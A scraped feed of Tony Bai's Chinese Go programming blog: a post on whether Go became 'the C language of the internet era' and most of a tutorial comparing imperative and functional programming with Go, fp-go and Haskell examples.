商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2024/08/19/some-changes-in-go-1-23/","summary":"\u003cp\u003e\u003cimg alt=\"Image 33\" loading=\"lazy\" src=\"/images/wp-content/uploads/some-changes-in-go-1-23-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2024/08/19/some-changes-in-go-1-23\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2024/08/19/some-changes-in-go-1-23\"\u003ehttps://tonybai.com/2024/08/19/some-changes-in-go-1-23\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e距离上一次\u003ca href=\"https://tonybai.com/2024/02/18/some-changes-in-go-1-22\"\u003eGo 1.22版本发布\u003c/a\u003e又过去六个月了，我们如期迎来了\u003ca href=\"https://mp.weixin.qq.com/s/IpDUOe0AUDKW2PYCWmvLYw\"\u003eGo 1.23版本的发布\u003c/a\u003e。\u003c/p\u003e\n\u003cp\u003e对于Go项目乃至整个Go社区而言，这个版本还有一点额外的意义，那就是这是\u003ca href=\"https://github.com/rsc\"\u003eRuss Cox\u003c/a\u003e作为Tech lead，领导Go团队发布的最后一个Go版本了。\u003c/p\u003e","title":"Go 1.23中值得关注的几个变化"},{"content":"都2024年了，当初那个“Go，互联网时代的C语言”的预言成真了吗？ | Tony Bai Tony Bai一个程序员的心路历程\nGoogle Go语言编码风格规范 Google Go语言编码风格规范：指南篇 Google Go语言编码风格规范：决定篇 Google Go语言编码风格规范：最佳实践篇 Go语言第一课FAQ 关于我 文章列表 都2024年了，当初那个“Go，互联网时代的C语言”的预言成真了吗？ 八月 17, 2024 0 条评论 本文永久链接 – https://tonybai.com/2024/08/17/go-the-c-language-of-the-internet-era-come-true\n本文最初发表于我个人的微信公众号(iamtonybai)，但鉴于图片消息的篇幅受限(\u0026lt;=1000字)，一些内容没能如愿展开，这里在博客上重新发布一下，也顺道丰富一下文章的内容。\n2012年，七牛云创始人、goplus语言之父许式伟在一次演讲中给出一个大胆的预言：“Go，互联网时代的C语言”。\n十余年过去了，我们不禁要问：当初的那个预言是否已经成真？\n在讨论这个预言之前，我们先来看在同一份演讲稿中，老许给出的另外三个预判：\n它们是：\nJava语言份额继续下滑，最终被C和Go语言超越； C语言将长居编程榜第二的位置，有望在Go取代Java前重获第一的宝座； Go语言最终会取代Java位居编程榜榜首。 编程语言排行榜有很多，我们就以名气最大的TIOBE刚刚发布的2024年8月排行榜为例，看看这些预判是否成真。\n很遗憾，一个也没命中。\n在这份最新榜单中，C位列第三、Java位列第四，Go位列第九，相对于前两个月的第七还下降了两位。不过不得不说，老许对C语言的预判还是相对准确的。\n那这是否意味着老许最初的那个预言也Miss了呢？个人觉得：并没有。因为这要看从哪个角度来审视。\n传统观点认为，C语言被视为系统编程语言的杰出代表，因其卓越的底层操作能力和极致性能而广受推崇。它允许开发者直接与硬件交互，提供了高效的资源管理和快速的执行速度。如果从这样的视角去看待那则预言，那显然Go与“互联网时代C语言”这个评价和地位是不相称的。虽然Go最初的定位也是一门系统编程语言。\n但如果我们跳出以“低级操作和性能”为中心的比较框架，而是从不同时代软件技术栈的层次与构建来看，Go与C语言的地位又极其的相似。\n在互联网时代到来之前，C语言已经是整个软件技术栈的基石：从操作系统内核、设备驱动程序、中间件到应用程序，C语言凭借卓越的性能、无以伦比的生态，在技术栈的各个层次都有着广泛且核心的应用。\n当时针指向云原生时代时，Go语言在云原生技术栈的构建中，发挥了与C语言相似的作用：\n云原生“操作系统”：Kubernetes； 云原生“驱动程序”：容器运行时（docker、containerd、podman）、网络插件(Calico、cilium、CoreDNS等)、存储插件（Rook、longhorn等）； 云原生“中间件”：数据库(CockroachDB、Vitess、InfluxDB(2.x)、VictoriaMetrics、Dgraph、milvus等)、消息队列(NATS、nsq等)、服务网格(Istio、linkerd2)、API网关/代理(Traefik、emissary等)、镜像仓库/加速器(harbor、Dragonfly)、key-value存储(Etcd、consul、junodb)、安全相关(falco、OPA、vault)、可观测组件(OpenTelemetry、Prometheus、Thanos、Cortex等)、基础设施管理(terraform、dagger)、分布式存储(minio、SeaweedFS、juicefs)、AI大模型运维(ollama)。 应用层：Caddy、gohugo、mattermost等。 我们用一张示意图来横向对比一下：\n听我讲到这里，你是不是觉得老许的那个预言好像命中了呢！\n当然，从狭义的角度来看，Go与C还有一些地方是很像的，比如：语法简单、跨平台可移植性好等。并且两者还“沾亲带故”：Unix之父Ken Thompson当年和Dennis Ritchie一起发明了C语言，又和Rob Pike等一起设计了Go语言！\n最后，回顾许式伟2012年的预言，我们不得不惊叹于其洞察力。Go语言确实在很大程度上成为了”互联网时代的C语言”，但不是通过传统的性能优势，而是通过重新构建了云原生技术栈，从这个角度看，Go语言也不失为云原生时代的”系统语言” —— 它不仅能够优雅地处理分布式系统的复杂性，它还使得构建和维护大规模、高可靠性的分布式系统变得更为简单，是云原生时代的思维方式和解决方案的集大成者，某种程度上还可以说定义了云原生时代的软件开发范式。\nGopher部落知识星球在2024年将继续致力于打造一个高品质的Go语言学习和交流平台。我们将继续提供优质的Go技术文章首发和阅读体验。同时，我们也会加强代码质量和最佳实践的分享，包括如何编写简洁、可读、可测试的Go代码。此外，我们还会加强星友之间的交流和互动。欢迎大家踊跃提问，分享心得，讨论技术。我会在第一时间进行解答和交流。我衷心希望Gopher部落可以成为大家学习、进步、交流的港湾。让我相聚在Gopher部落，享受coding的快乐! 欢迎大家踊跃加入！\n著名云主机服务厂商DigitalOcean发布最新的主机计划，入门级Droplet配置升级为：1 core CPU、1G内存、25G高速SSD，价格5$/月。有使用DigitalOcean需求的朋友，可以打开这个链接地址：https://m.do.co/c/bff6eed92687 开启你的DO主机之路。\nGopher Daily(Gopher每日新闻) – https://gopherdaily.tonybai.com\n我的联系方式：\n微博(暂不可用)：https://weibo.com/bigwhite20xx 微博2：https://weibo.com/u/6484441286 博客：tonybai.com github: https://github.com/bigwhite Gopher Daily归档 – https://github.com/bigwhite/gopherdaily Gopher Daily Feed订阅 – https://gopherdaily.tonybai.com/feed 商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2024/08/17/go-the-c-language-of-the-internet-era-come-true/","summary":"\u003ch1 id=\"都2024年了当初那个go互联网时代的c语言的预言成真了吗--tony-bai\"\u003e都2024年了，当初那个“Go，互联网时代的C语言”的预言成真了吗？ | Tony Bai\u003c/h1\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/\"\u003eTony Bai\u003c/a\u003e一个程序员的心路历程\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://tonybai.com/google-go-style/\" title=\"Google Go语言编码风格规范\"\u003eGoogle Go语言编码风格规范\u003c/a\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://tonybai.com/google-go-style/google-go-style-guide/\" title=\"Google Go语言编码风格规范：指南篇\"\u003eGoogle Go语言编码风格规范：指南篇\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://tonybai.com/google-go-style/google-go-style-decisions/\" title=\"Google Go语言编码风格规范：决定篇\"\u003eGoogle Go语言编码风格规范：决定篇\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://tonybai.com/google-go-style/google-go-style-best-practices/\" title=\"Google Go语言编码风格规范：最佳实践篇\"\u003eGoogle Go语言编码风格规范：最佳实践篇\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://tonybai.com/go-course-faq/\" title=\"Go语言第一课FAQ\"\u003eGo语言第一课FAQ\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://tonybai.com/about/\" title=\"关于我\"\u003e关于我\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://tonybai.com/articles/\" title=\"文章列表\"\u003e文章列表\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch1 id=\"都2024年了当初那个go互联网时代的c语言的预言成真了吗\"\u003e都2024年了，当初那个“Go，互联网时代的C语言”的预言成真了吗？\u003c/h1\u003e\n\u003cul\u003e\n\u003cli\u003e八月 17, 2024\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://tonybai.com/2024/08/17/go-the-c-language-of-the-internet-era-come-true/#respond\" title=\"《都2024年了，当初那个“Go，互联网时代的C语言”的预言成真了吗？》上的评论\"\u003e0 条评论\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cimg alt=\"Image 35\" loading=\"lazy\" src=\"/images/wp-content/uploads/go-the-c-language-of-the-internet-era-come-true-1.png\"\u003e\u003c/p\u003e","title":"都2024年了，当初那个“Go，互联网时代的C语言”的预言成真了吗？"},{"content":"\n本文永久链接 – https://tonybai.com/2024/08/11/understand-functional-programming-in-go\n一个孩子要尝试10次、20次才肯接受一种新的食物，我们接受一种新的范式，大概不会比这个简单。– 郭晓刚 《函数式编程思维》译者\n函数式编程(Functional Programming, 简称fp)是一种编程范式，与命令式编程(Imperative Programming)、面向对象编程(OOP)、泛型编程(Generics Programming)、逻辑编程(logic Programming)等是一类的概念。\n注：尽管面向对象范式引入了新的编程思想和技术，但它本质上与命令式编程一样，都关注程序的状态和如何通过改变状态来控制程序的执行流程，因此，OOP仍然属于命令式编程的一个分支。OOP可以看作是命令式编程的一种扩展和补充，它增强了代码的模块化、复用性和可维护性。在接下来，我会统一使用命令式编程范式来指代它们。\n但几十年的编程语言的演进和实践已经证明：函数式编程并非银弹，它有优势，更有不足。从编程社区的实际反映来看，纯函数式编程语言(比如：CLisp、Haskell、Scala、Clojure、Erlang等)始终处于小众地位。此外，即便很多主流命令式编程语言在近些年融入了一些函数式编程的语法特性，采用函数式风格的代码依旧比例极低，且不易被广泛接受。许多程序员在面对复杂的状态管理和副作用时，依然倾向于使用传统的命令式编程风格（包括OOP)。。\n注：Go就原生提供了一些支持函数式范式编程的语法特性，比如：函数是一等公民(first-class)、高阶函数、闭包、函数迭代器以及泛型等。\n造成这种局面的原因众说纷纭，但我认为有如下几个：\n首先从人类这个物种的大脑的认知和思维方式来看，命令式编程更接近于人类的自然思维方式，其逻辑与人类解决问题时的逻辑思维相似，即都是以步骤的形式理解问题，且有明确的控制流：命令式语言的控制结构（如条件语句、选择语句和循环）使得程序的执行路径清晰可见，符合人类的直觉理解，这也使得命令式语言更容易被人类大脑所掌握。\n其次，命令式编程强调状态的变化，程序员可以直接看到和控制变量的变化，这与人类处理现实世界事物的方式相似。\n在上面原因的驱使下，久而久之，程序员便形成习惯与传统，有了积淀，便可以促进命令式编程语言在教育和产业中的广泛应用，使得大多数程序员习惯于这种编程方式（间接挤压了函数式编程的使用空间）。进而使得命令式语言有更丰富的学习资源和社区支持，程序员也更容易找到帮助和示例。\n也就是说，命令式编程范式占据主流的根本原因是人类的大脑本身就是命令式的，而不是函数式的。不过也有极少数大脑是函数式思维的，比如发明了TLA+这门形式化建模和验证语言的Leslie Lamport老先生。\n那么问题来了！既然学习函数式编程思维是违反人类大脑直觉的，且较为困难，那为什么还是有很多人学习函数式编程思维，并在实际开发中应用函数式编程范式呢？关于这个问题，我们可以从两方面来看。\n从主观上说，程序员经常有探索新技术和新范式的内在动力，这种好奇心驱使他们尝试函数式编程，也就是我们俗称的“玩腻了，尝尝鲜儿”。并且，许多程序员视学习函数式编程为一种智力挑战，一种来自舒适区之外的挑战，这种挑战能带来成就感和个人成长。此外，在竞争激烈的IT行业，掌握多种编程范式可以使得个人技能多样化，增加个人的职业竞争力。\n从客观上看，函数式编程也确实能帮助程序员提高抽象思维和系统设计能力，这种能力的提升不仅限于函数式编程，还能应用到其他编程范式中。并且，函数式编程为程序员提供了一个新的解决问题的视角和方法，特别是在处理并发和并行计算、复杂数据转换和流处理方面。\n学习函数式编程范式，并不是说抛弃命令式范式(或其他范式)，而是融合，从主流编程语言对函数式编程的语法特性的支持也可窥见这般。\n那么，到底什么是函数式编程范式？它与命令式范式对比又有怎么样的差异与优劣呢？在这篇文章中，我就来说说我的体会，并辅以Go示例来帮助大家理解。\n1. 思维差异：命令式编程 vs. 函数式编程 在看过很多函数式编程的资料后（见文后的参考资料一节），我问了自己一个问题：面对同一个实际的问题，用命令式编程范式和用函数式编程范式的核心思维差异在哪里？为此，我基于现实世界的一个典型问题模型(数据输入 -\u0026gt; 数据处理 -\u0026gt; 处理结果输出)，并根据自己的理解画了下面两幅图：\n命令式编程范式的思维\n函数式编程范式的思维\n我们先来描述一下上面两幅图中的数据处理流程：\n命令式编程：通过I/O操作获取数据，然后解码为自定义类型进行处理，再编码为自定义类型以便I/O操作输出。处理过程中使用函数、带方法的类型和控制流结构（如for、if、switch等）。\n函数式编程：通过带有副作用的操作（如I/O操作）获取数据，然后解码数据放入通用数据结构（如列表、元组、映射）进行处理，再放入通用数据结构以便通过副作用操作输出。处理过程中会使用纯函数、高阶函数以及它们的函数组合。\n基于上述流程的说明，我们可以看出两种范式核心关注点的差异：\n命令式编程范式：更关注类型的封装、类型间的耦合关系、行为集合的抽象(接口)以及对数据在类型实例间的传递的显式控制(if/for/switch)。 函数式编程范式：弱化类型的概念，使用通用数据结构，专注于通过纯函数/高阶函数、不可变数据和函数组合来实现对数据的处理逻辑。“控制流”更加隐含，比如会通过递归、模式匹配和惰性求值等方式实现。建立专门的抽象来应对与真实世界交互时的带有副作用(side effect)的操作。 下面我们通过一个具体的问题来大致体会一下不同编程泛型在解决问题的实现上的思维差异。这个问题很简单：编写一个程序从input.txt文件中读取数字(每行一个数字)，将每个数字乘以2，然后将结果写入output.txt文件中。\n我们先来用命令式编程范式实现：\n// fp-in-go/double/go/main.go // NumberData represents the input data type NumberData struct { numbers []int } // ProcessedData represents the processed output data type ProcessedData struct { numbers []int } // NewNumberData creates and returns a new NumberData instance func NewNumberData() *NumberData { return \u0026amp;NumberData{numbers: []int{}} } // AddNumber adds a number to NumberData func (nd *NumberData) AddNumber(num int) { nd.numbers = append(nd.numbers, num) } // Process doubles all numbers in NumberData and returns ProcessedData func (nd *NumberData) Process() ProcessedData { processed := ProcessedData{numbers: make([]int, len(nd.numbers))} for i, num := range nd.numbers { processed.numbers[i] = num * 2 } return processed } // FileProcessor handles file operations and data processing type FileProcessor struct { inputFile string outputFile string } // NewFileProcessor creates and returns a new FileProcessor instance func NewFileProcessor(input, output string) *FileProcessor { return \u0026amp;FileProcessor{ inputFile: input, outputFile: output, } } // ReadAndDeserialize reads data from input file and deserializes it into NumberData func (fp *FileProcessor) ReadAndDeserialize() (*NumberData, error) { file, err := os.Open(fp.inputFile) if err != nil { return nil, fmt.Errorf(\u0026#34;error opening input file: %w\u0026#34;, err) } defer file.Close() data := NewNumberData() scanner := bufio.NewScanner(file) for scanner.Scan() { num, err := strconv.Atoi(scanner.Text()) if err != nil { return nil, fmt.Errorf(\u0026#34;error converting to number: %w\u0026#34;, err) } data.AddNumber(num) } if err := scanner.Err(); err != nil { return nil, fmt.Errorf(\u0026#34;error reading input file: %w\u0026#34;, err) } return data, nil } // SerializeAndWrite serializes ProcessedData and writes it to output file func (fp *FileProcessor) SerializeAndWrite(data ProcessedData) error { file, err := os.Create(fp.outputFile) if err != nil { return fmt.Errorf(\u0026#34;error creating output file: %w\u0026#34;, err) } defer file.Close() writer := bufio.NewWriter(file) defer writer.Flush() for _, num := range data.numbers { _, err := writer.WriteString(fmt.Sprintf(\u0026#34;%d\\n\u0026#34;, num)) if err != nil { return fmt.Errorf(\u0026#34;error writing to output file: %w\u0026#34;, err) } } return nil } // Process orchestrates the entire data processing workflow func (fp *FileProcessor) Process() error { // Read and deserialize input data inputData, err := fp.ReadAndDeserialize() if err != nil { return err } // Process data processedData := inputData.Process() // Serialize and write output data err = fp.SerializeAndWrite(processedData) if err != nil { return err } return nil } func main() { processor := NewFileProcessor(\u0026#34;input.txt\u0026#34;, \u0026#34;output.txt\u0026#34;) if err := processor.Process(); err != nil { fmt.Fprintf(os.Stderr, \u0026#34;Error: %v\\n\u0026#34;, err) os.Exit(1) } fmt.Println(\u0026#34;Processing completed successfully.\u0026#34;) } 这段代码十分容易理解，在这段代码中，我们建立了三个类型：NumberData、ProcessedData和FileProcessor。前两个分别代表解码后的输入数据和编码前的输出数据，FileProcessor则是封装了文件操作和数据处理的逻辑的自定义类型。这段代码将文件I/O、数据处理和主要流程控制分离到不同的方法中。在读取和写入过程中，数据经历了字符串 -\u0026gt; NumberData -\u0026gt; ProcessedData -\u0026gt; 字符串的转换过程，同时数据也是在不同类型的方法间传递和变换状态。\n接下来我们再来看看函数式范式版本，Go虽然提供了一些函数式编程的基础支持，比如一等公民的函数、支持高阶函数、闭包等，但一些像monad、monoid等高级概念还需要手工实现。IBM开源了一个Go的函数式编程基础库fp-go，这里就借用fp-go的便利实现上面的同等功能，我们看看风格上有何不同：\n// fp-in-go/double/fp-go/main.go package main import ( \u0026#34;bufio\u0026#34; \u0026#34;fmt\u0026#34; \u0026#34;os\u0026#34; \u0026#34;strconv\u0026#34; \u0026#34;strings\u0026#34; \u0026#34;github.com/IBM/fp-go/either\u0026#34; \u0026#34;github.com/IBM/fp-go/ioeither\u0026#34; ) // 读取文件内容 func readFile(filename string) ioeither.IOEither[error, string] { return ioeither.TryCatchError(func() (string, error) { content, err := os.ReadFile(filename) return string(content), err }) } // 将字符串转换为数字列表 func parseNumbers(content string) either.Either[error, []int] { numbers := []int{} scanner := bufio.NewScanner(strings.NewReader(content)) for scanner.Scan() { num, err := strconv.Atoi(scanner.Text()) if err != nil { return either.Left[[]int](err) } numbers = append(numbers, num) } return either.Right[error](numbers) } // 将数字乘以2 func multiplyBy2(numbers []int) []int { result := make([]int, len(numbers)) for i, num := range numbers { result[i] = num * 2 } return result } // 将结果写入文件 func writeFile(filename string, content string) ioeither.IOEither[error, string] { return ioeither.TryCatchError(func() (string, error) { return \u0026#34;\u0026#34;, os.WriteFile(filename, []byte(content), 0644) }) } func main() { program := ioeither.Chain(func(content string) ioeither.IOEither[error, string] { return ioeither.FromEither( either.Chain(func(numbers []int) either.Either[error, string] { multiplied := multiplyBy2(numbers) result := []string{} for _, num := range multiplied { result = append(result, strconv.Itoa(num)) } return either.Of[error](strings.Join(result, \u0026#34;\\n\u0026#34;)) })(parseNumbers(content)), ) })(readFile(\u0026#34;input.txt\u0026#34;)) program = ioeither.Chain(func(content string) ioeither.IOEither[error, string] { return writeFile(\u0026#34;output.txt\u0026#34;, content) })(program) result := program() err := either.ToError(result) if err != nil { fmt.Println(\u0026#34;Program failed:\u0026#34;, err) } else { fmt.Println(\u0026#34;Program completed successfully\u0026#34;) } } 相对于前面使用命令式范式风格的代码，这段函数式范式的代码理解起来就要难上不少。\n不过，这段代码很好地诠释了函数式编程中的函数组合理念，我们看到函数被当作值来传递和使用。例如，在ioeither.Chain中，我们传递了匿名函数作为参数，这体现了函数式编程中函数作为一等公民的概念。multiplyBy2函数是一个纯函数的例子，它没有副作用，对于相同的输入总是产生相同的输出。这种纯函数更容易测试和推理。\n代码中最明显的函数组合例子是在main函数中，我们使用ioeither.Chain来组合多个函数操作。并且在这里，我们将文件读取、内容处理和文件写入操作串联在一起，形成一个更大的操作。而ioeither.Chain和either.Chain又都是高阶函数的例子，它们接受其他函数作为参数并返回新的函数。Either和IOEither类型也是函数式编程中用于错误处理的主流方式，允许我们以更函数式的方式处理错误，将错误处理集成到函数组合中。\n很多人好奇如果用纯函数式编程语言实现这个示例会是什么样子的，下面我就贴一段Haskell语言的代码，大家简单了解一下，这里就不对代码进行解释了：\n// fp-in-go/double/fp-haskell/Main.hs import System.IO import Control.Monad (when) import Text.Read (readMaybe) import Data.Maybe (catMaybes) -- Define a custom type for the result data DoubledNumbers = DoubledNumbers { doubledNumbers :: [Int] } deriving (Show) -- Function to read numbers from a file readNumbers :: FilePath -\u0026gt; IO (Either String [Int]) readNumbers filePath = do content \u0026lt;- readFile filePath let numbers = catMaybes (map readMaybe (lines content)) return $ if null numbers then Left \u0026#34;No valid numbers found.\u0026#34; else Right numbers -- Function to write result to a file writeResult :: FilePath -\u0026gt; DoubledNumbers -\u0026gt; IO (Either String ()) writeResult filePath result = do let resultString = unlines (map show (doubledNumbers result)) writeFile filePath resultString return $ Right () -- Function to double the numbers doubleNumbers :: [Int] -\u0026gt; DoubledNumbers doubleNumbers numbers = DoubledNumbers { doubledNumbers = map (* 2) numbers } main :: IO () main = do -- Read numbers from input.txt readResult \u0026lt;- readNumbers \u0026#34;input.txt\u0026#34; case readResult of Left err -\u0026gt; putStrLn $ \u0026#34;Error: \u0026#34; ++ err Right numbers -\u0026gt; do let result = doubleNumbers numbers -- Write result to output.txt writeResultResult \u0026lt;- writeResult \u0026#34;output.txt\u0026#34; result case writeResultResult of Left err -\u0026gt; putStrLn $ \u0026#34;Error: \u0026#34; ++ err Right () -\u0026gt; putStrLn \u0026#34;Successfully written the result to output.txt.\u0026#34; 注：安装ghc后，执行ghc –make Main就可以将上面Main.hs编译为一个可执行程序。更多关于haskell编译器的信息可以到haskell官网查看。\n从上面的示例我们大致也能感受到两种范式在思维层面的差异，正如Robert Martin在《函数式设计》一书中说道的那样：函数式程序更倾向于铺设调节数据流转换的管道结构，而可变的命令式程序更倾向于迭代地处理一个个类型对象。\n我们很难在一个例子中体现出函数式编程的所有概念和思维特点，接下来，我们就来逐个说说函数式编程范式中的要素，你也可以对应前面的图中的内容，反复感受函数式编程的思维特点。\n2. 函数式编程的要素 面向对象的编程通过封装不确定因素来使代码能被人理解，而函数式编程通过尽量减少不确定因素来使代码能被人理解。—— Michael Feathers 《修改代码的艺术》一书作者\n函数式编程建立在几个核心要素之上，这些要素共同构成了函数式编程的基础。让我们逐一探讨这些要素。\n2.1 纯函数 (Pure Functions) 纯函数是函数式编程的基石。一个纯函数具有以下特性:\n对于相同的输入，总是产生相同的输出； 不会产生副作用(不会修改外部状态)； 不依赖外部状态。 例如，前面fp-go示例中的multiplyBy2就是一个纯函数:\nfunc multiplyBy2(numbers []int) []int { result := make([]int, len(numbers)) for i, num := range numbers { result[i] = num * 2 } return result } 这个函数总是为相同的输入返回相同的结果，并且不会修改任何外部状态。\n2.2 不可变性 (Immutability) Robert Martin在《函数式设计》一书为函数式编程下一个理想的定义：没有赋值语句的编程。实质是其强调了不可变性在函数式编程范式中的重要意义。在没有赋值语句的情况下，代码通常基于对原状态的计算而得到新的状态，而对原状态没有任何修改。\n在Go语言中，由于不支持不可变变量(很多语言用val关键字来声明不可变变量，但Go并不支持)，我们通常通过复制对象来实现不可变性，这可以帮助我们避免状态变化带来的复杂性，但也因为复制而增加了内存开销和性能成本。\n// 定义一个不可变的结构体 type Point struct { x, y int } // 创建一个新的 Point，模拟不可变性 func NewPoint(x, y int) Point { return Point{x, y} } // 移动Point的方法，返回一个新的Point func (p Point) Move(dx, dy int) Point { return NewPoint(p.x+dx, p.y+dy) } 2.3 高阶函数 (Higher-Order Functions)与函数组合(Function Composition) Go语言的一个内置特性让它具备了使用函数式编程范式的前提，那就是在Go中，函数是一等公民。这意味着函数可以像其他类型变量一样，被赋值、传参和返回。\n而接受其他函数作为参数或返回函数的函数，被称为高阶函数，这也是函数式编程的基石，如下面的applyOperation函数就是一个高阶函数：\nfunc applyOperation(x int, operation func(int) int) int { return operation(x) } func double(x int) int { return x * 2 } result := applyOperation(5, double) // 结果为10 而有了对高阶函数的支持，我们才能运用函数式思维中的核心思维：函数组合，来铺设调节数据流转换的管道结构：\n// fp-in-go/high-order-func/main.go package main import ( \u0026#34;fmt\u0026#34; ) // 定义一个类型为函数的别名 type IntTransformer func(int) int // 将多个转换函数组合成一个管道 func pipe(value int, transformers ...IntTransformer) int { for _, transformer := range transformers { value = transformer(value) } return value } // 定义一些转换函数 func addOne(x int) int { return x + 1 } func square(x int) int { return x * x } func main() { // 使用管道处理数据 result := pipe(3, addOne, square) fmt.Println(\u0026#34;Result:\u0026#34;, result) // 输出 Result: 16 } 这个示例中的pipe函数接受一个初始值和多个转换函数，并将其串联执行。main函数调用pipe函数，将addOne和square两个转换函数连接起来并执行输出结果。\n前面那个使用fp-go编写的示例中，使用ioeither.Chain构建的program也是一个函数调用组合。\n此外，链式调用也是一种在日常开发中常见的函数组合的使用形式，它融合了命令式的类型和函数式编程的函数组合，特别适用于集合类型数据的处理，通过链式调用，可以以更简洁和直观的方式进行数据转换和处理。下面是一个基于泛型实现的通用的链式调用(filter -\u0026gt; map -\u0026gt; reduce)的示例：\n// fp-in-go/func-composition/main.go package main import \u0026#34;fmt\u0026#34; // Collection 接口定义了通用的集合操作 type Collection[T any] interface { Filter(predicate func(T) bool) Collection[T] Map(transform func(T) T) Collection[T] Reduce(initialValue T, reducer func(T, T) T) T } // SliceCollection 是基于切片的集合实现 type SliceCollection[T any] struct { data []T } // NewSliceCollection 创建一个新的 SliceCollection func NewSliceCollection[T any](data []T) *SliceCollection[T] { return \u0026amp;SliceCollection[T]{data: data} } // Filter 实现了 Collection 接口的 Filter 方法 func (sc *SliceCollection[T]) Filter(predicate func(T) bool) Collection[T] { result := make([]T, 0) for _, item := range sc.data { if predicate(item) { result = append(result, item) } } return \u0026amp;SliceCollection[T]{data: result} } // Map 实现了 Collection 接口的 Map 方法 func (sc *SliceCollection[T]) Map(transform func(T) T) Collection[T] { result := make([]T, len(sc.data)) for i, item := range sc.data { result[i] = transform(item) } return \u0026amp;SliceCollection[T]{data: result} } // Reduce 实现了 Collection 接口的 Reduce 方法 func (sc *SliceCollection[T]) Reduce(initialValue T, reducer func(T, T) T) T { result := initialValue for _, item := range sc.data { result = reducer(result, item) } return result } // SetCollection 是基于 map 的集合实现 type SetCollection[T comparable] struct { data map[T]struct{} } // NewSetCollection 创建一个新的 SetCollection func NewSetCollection[T comparable]() *SetCollection[T] { return \u0026amp;SetCollection[T]{data: make(map[T]struct{})} } // Add 向 SetCollection 添加元素 func (sc *SetCollection[T]) Add(item T) { sc.data[item] = struct{}{} } // Filter 实现了 Collection 接口的 Filter 方法 func (sc *SetCollection[T]) Filter(predicate func(T) bool) Collection[T] { result := NewSetCollection[T]() for item := range sc.data { if predicate(item) { result.Add(item) } } return result } // Map 实现了 Collection 接口的 Map 方法 func (sc *SetCollection[T]) Map(transform func(T) T) Collection[T] { result := NewSetCollection[T]() for item := range sc.data { result.Add(transform(item)) } return result } // Reduce 实现了 Collection 接口的 Reduce 方法 func (sc *SetCollection[T]) Reduce(initialValue T, reducer func(T, T) T) T { result := initialValue for item := range sc.data { result = reducer(result, item) } return result } // ToSlice 实现了 Collection 接口的 ToSlice 方法 func (sc *SetCollection[T]) ToSlice() []T { result := make([]T, 0, len(sc.data)) for item := range sc.data { result = append(result, item) } return result } func main() { // 使用 SliceCollection numbers := NewSliceCollection([]int{1, 2, 3, 4, 5, 6, 7, 8, 9, 10}) result := numbers. Filter(func(n int) bool { return n%2 == 0 }). Map(func(n int) int { return n * 2 }). Reduce(0, func(acc, n int) int { return acc + n }) fmt.Println(result) // 输出: 60 // 使用 SetCollection set := NewSetCollection[int]() for _, n := range []int{1, 2, 2, 3, 3, 3, 4, 5} { set.Add(n) } uniqueSum := set. Filter(func(n int) bool { return n \u0026gt; 2 }). Map(func(n int) int { return n * n }). Reduce(0, func(acc, n int) int { return acc + n }) fmt.Println(uniqueSum) // 输出: 50 (3^2 + 4^2 + 5^2) } 这段代码定义的泛型接口类型Collection包含三个方法：\nFilter：根据条件过滤集合中的元素。 Map：对集合中的每个元素应用转换函数。 Reduce：对集合中的元素进行归约操作，比如求和。 其中Filtre、Map都是返回集合自身，这样便允许实现Collection接口的集合类型(如上面的SetCollection和SliceCollection)使用链式调用，代码看起来也十分易于理解。\n2.4 递归(Recursion) 递归是函数式编程中常用的控制结构，常用来替代循环。例如下面是计算阶乘的函数实现：\nfunc factorial(n int) int { if n \u0026lt;= 1 { return 1 } return n * factorial(n-1) } 递归的优点十分明显，代码简洁，易于理解(相对于循环)，特别适合处理分解问题（如树结构、图遍历等）。但不足也很突出，比如可能导致栈溢出(尤其是对那些不支持尾递归优化的语言，比如Go)，特别是对于较大的输入。此外，由于每次递归调用都需要创建新栈帧，维护栈状态，递归会有额外的性能开销。调试递归函数也可能比循环更复杂，因为需要跟踪多个函数调用。\n2.5 惰性求值 (Lazy Evaluation) 惰性求值是指延迟计算表达式的值，直到真正需要它的时候。这样可以避免不必要的计算并有效管理内存，特别是在处理大集合或无限集合时。下面是用惰性求值实现迭代集合元素的示例：\n注：Go原生并不支持惰性求值的语法，但我们可以使用闭包来模拟。\n// fp-in-go/lazy-evaluation/lazy-range/main.go package main import \u0026#34;fmt\u0026#34; func lazyRange(start, end int) func() (int, bool) { current := start return func() (int, bool) { if current \u0026gt;= end { return 0, false } result := current current++ return result, true } } func main() { next := lazyRange(1, 5) for { value, hasNext := next() if !hasNext { break } fmt.Println(value) } } 我们看到这段代码通过惰性求值方式生成从1到4的数字，避免了预先生成整个范围的集合元素，节省了内存，并避免了不必要的计算。\n我们再来看一个用惰性求值生成前N个斐波那契数列的示例：\n// fp-in-go/lazy-evaluation/fibonacci/main.go package main import ( \u0026#34;fmt\u0026#34; ) // Fibonacci 返回一个生成无限斐波那契数列的函数 func Fibonacci() func() int { a, b := 0, 1 return func() int { a, b = b, a+b return a } } func main() { fib := Fibonacci() for i := 0; i \u0026lt; 10; i++ { // 打印前10个斐波那契数 fmt.Println(fib()) } } 